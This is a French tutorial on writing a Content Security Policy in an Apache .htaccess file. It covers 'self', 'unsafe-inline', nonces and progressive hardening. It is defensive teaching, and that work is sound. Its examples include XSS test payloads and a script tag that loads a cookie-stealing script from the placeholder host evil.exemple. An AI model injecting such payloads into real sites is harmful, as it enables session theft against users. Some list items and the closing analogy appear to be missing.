Aller au contenu

Comprendre une règle Content Security Policy dans un .htaccess

Objectif

Ce chapitre explique le rôle d’une règle Content Security Policy, souvent abrégée CSP, dans la sécurisation d’une application web.

Une CSP permet de dire au navigateur :

Vous n’avez le droit de charger et d’exécuter des ressources que depuis les sources explicitement autorisées.

Elle sert notamment à réduire l’impact de certaines failles XSS, mais elle ne remplace jamais l’échappement correct des données dans le code HTML, PHP, JavaScript ou Thymeleaf.


Table des matières


1. Exemple de règle CSP

Exemple d’en-tête HTTP :

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;

Dans un fichier .htaccess, cette règle s’écrit plutôt ainsi :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;"
</IfModule>

La première forme correspond à l’en-tête HTTP vu par le navigateur.
La seconde correspond à la syntaxe Apache dans un fichier .htaccess.


2. Que signifie Content-Security-Policy ?

Content-Security-Policy:

C’est le nom de l’en-tête HTTP envoyé par le serveur au navigateur.

Il indique au navigateur quelles ressources il peut charger :

La CSP agit donc comme une liste d’autorisations.


3. Que signifie default-src 'self' ?

default-src 'self';

Cette directive définit la règle par défaut pour les ressources qui n’ont pas de règle spécifique.

Le mot-clé :

'self'

signifie :

uniquement depuis le même domaine que le site

Exemple : si votre site est :

https://esiea.fr

alors le navigateur autorise par défaut les ressources venant de :

https://esiea.fr

Mais il refuse, sauf règle spécifique, les ressources venant de domaines externes comme :

https://site-inconnu.com
https://cdn-non-autorise.com
https://evil.exemple

La directive :

default-src 'self';

peut donc se lire ainsi :

Par défaut, vous ne chargez les ressources que depuis votre propre site.

C’est une bonne base de sécurité.


4. Que signifie script-src ?

script-src 'self' 'unsafe-inline' https://trusted.cdn.com;

La directive script-src concerne spécifiquement les scripts JavaScript.

Elle indique au navigateur quelles sources JavaScript sont autorisées.

Dans cet exemple, trois sources sont autorisées :

'self'
'unsafe-inline'
https://trusted.cdn.com

4.1 script-src 'self'

script-src 'self'

Cela autorise les scripts JavaScript venant du même domaine que le site.

Exemple autorisé :

<script src="/assets/js/app.js"></script>

Si votre site est :

https://esiea.fr

alors ce script est chargé depuis :

https://esiea.fr/assets/js/app.js

Il est donc autorisé par 'self'.

4.2 https://trusted.cdn.com

script-src ... https://trusted.cdn.com

Cette partie autorise les scripts venant d’un domaine externe précis.

Exemple autorisé :

<script src="https://trusted.cdn.com/library.js"></script>

Mais un script venant d’un autre domaine sera bloqué :

<script src="https://evil.exemple/attaque.js"></script>

Pourquoi ?

Parce que https://evil.exemple n’est pas présent dans la règle CSP.

Le navigateur refuse donc de charger ce script.


5. Que signifie 'unsafe-inline' ?

'unsafe-inline'

C’est la partie la plus délicate.

Elle autorise les scripts JavaScript écrits directement dans la page HTML.

Exemple autorisé à cause de 'unsafe-inline' :

<script>
    alert("Bonjour");
</script>

Autre exemple autorisé :

<button onclick="alert('clic')">Cliquer</button>

Le problème est que beaucoup de failles XSS reposent justement sur l’injection de scripts inline.

Exemple d’attaque XSS :

<script>alert('XSS')</script>

Si votre CSP autorise 'unsafe-inline', cette protection est moins efficace contre ce type d’injection.

Son nom est donc très parlant :

unsafe = non sécurisé
inline = directement dans la page

6. Exemple concret

Prenons cette page HTML :

<!DOCTYPE html>
<html lang="fr">
<head>
    <script src="/js/app.js"></script>
    <script src="https://trusted.cdn.com/flowbite.js"></script>
    <script src="https://evil.exemple/attaque.js"></script>

    <script>
        console.log("Script inline");
    </script>
</head>
<body>
    <button onclick="alert('clic')">Tester</button>
</body>
</html>

Avec cette CSP :

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;

Le navigateur autorise :

<script src="/js/app.js"></script>

car ce script vient du même domaine.

Il autorise aussi :

<script src="https://trusted.cdn.com/flowbite.js"></script>

car https://trusted.cdn.com est explicitement autorisé.

Il bloque :

<script src="https://evil.exemple/attaque.js"></script>

car ce domaine n’est pas autorisé.

En revanche, il autorise encore :

<script>
    console.log("Script inline");
</script>

et :

<button onclick="alert('clic')">Tester</button>

à cause de :

'unsafe-inline'

7. Pourquoi cette règle est utile ?

Cette règle réduit les risques si une faille XSS existe.

Sans CSP, un attaquant pourrait injecter :

<script src="https://evil.exemple/steal-cookie.js"></script>

Avec cette CSP, le navigateur bloque ce script externe, car le domaine evil.exemple n’est pas autorisé.

Cependant, si 'unsafe-inline' reste présent, un attaquant pourrait encore tenter d’injecter du JavaScript directement dans la page.

Exemple :

<script>alert('XSS')</script>

La CSP est donc utile, mais elle doit être durcie progressivement.


8. Version plus sécurisée

Une version plus stricte serait :

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

Dans cette version, on supprime :

'unsafe-inline'

Les scripts inline sont donc bloqués.

Cela oblige à remplacer les anciennes pratiques.

Mauvais exemple :

<button onclick="acheter()">Acheter</button>

Meilleur exemple :

<button id="btn-acheter">Acheter</button>
<script src="/assets/js/commande.js"></script>

Dans le fichier /assets/js/commande.js :

document.getElementById('btn-acheter').addEventListener('click', acheter);

Cette approche est plus propre et plus sécurisée.


9. Version plus robuste avec un nonce

Il existe une solution plus avancée : le nonce.

Un nonce est une valeur aléatoire générée par le serveur pour une page donnée.

Exemple d’en-tête CSP :

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-aB3xYz987' https://trusted.cdn.com;

Dans la page HTML :

<script nonce="aB3xYz987">
    console.log("Ce script inline est autorisé");
</script>

Le navigateur autorise uniquement les scripts inline qui possèdent le bon nonce.

Un script injecté sans nonce sera bloqué :

<script>alert('XSS')</script>

Cette méthode est beaucoup plus sûre que :

'unsafe-inline'

10. Exemple dans un .htaccess

Version de départ, encore assez permissive :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';"
</IfModule>

Version plus stricte :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';"
</IfModule>

11. Attention avec Tailwind, Flowbite ou des CDN

Si votre site utilise des bibliothèques depuis un CDN, par exemple :

<script src="https://cdn.tailwindcss.com"></script>

ou :

<script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.5.2/flowbite.min.js"></script>

vous devrez les ajouter dans la CSP :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com; img-src 'self' data: https:; font-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';"
</IfModule>

Mais pour une production plus robuste, il est préférable :


12. Ce que vous devez retenir

La ligne :

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;

signifie :

Élément Signification
Content-Security-Policy En-tête HTTP de sécurité
default-src 'self' Par défaut, charger seulement depuis votre domaine
script-src Règle spécifique pour JavaScript
'self' Autoriser les scripts du site lui-même
'unsafe-inline' Autoriser les scripts inline, mais c’est moins sécurisé
https://trusted.cdn.com Autoriser les scripts venant de ce CDN précis

La CSP permet de limiter ce que le navigateur peut charger et exécuter.

Elle réduit les risques XSS, mais elle ne remplace jamais :

htmlspecialchars($value, ENT_QUOTES, 'UTF-8')

ni une bonne validation côté serveur.


13. Recommandation finale

Pour démarrer :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';"
</IfModule>

Puis progressivement, essayez de supprimer :

'unsafe-inline'

en déplaçant le JavaScript inline dans des fichiers .js.

Objectif final :

<IfModule mod_headers.c>
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';"
</IfModule>

Conclusion

Une CSP, c’est comme une liste d’invités à l’entrée d’une soirée.

La dernière règle est pratique, mais dangereuse. Vous l’avez compris, un site web ça se protège !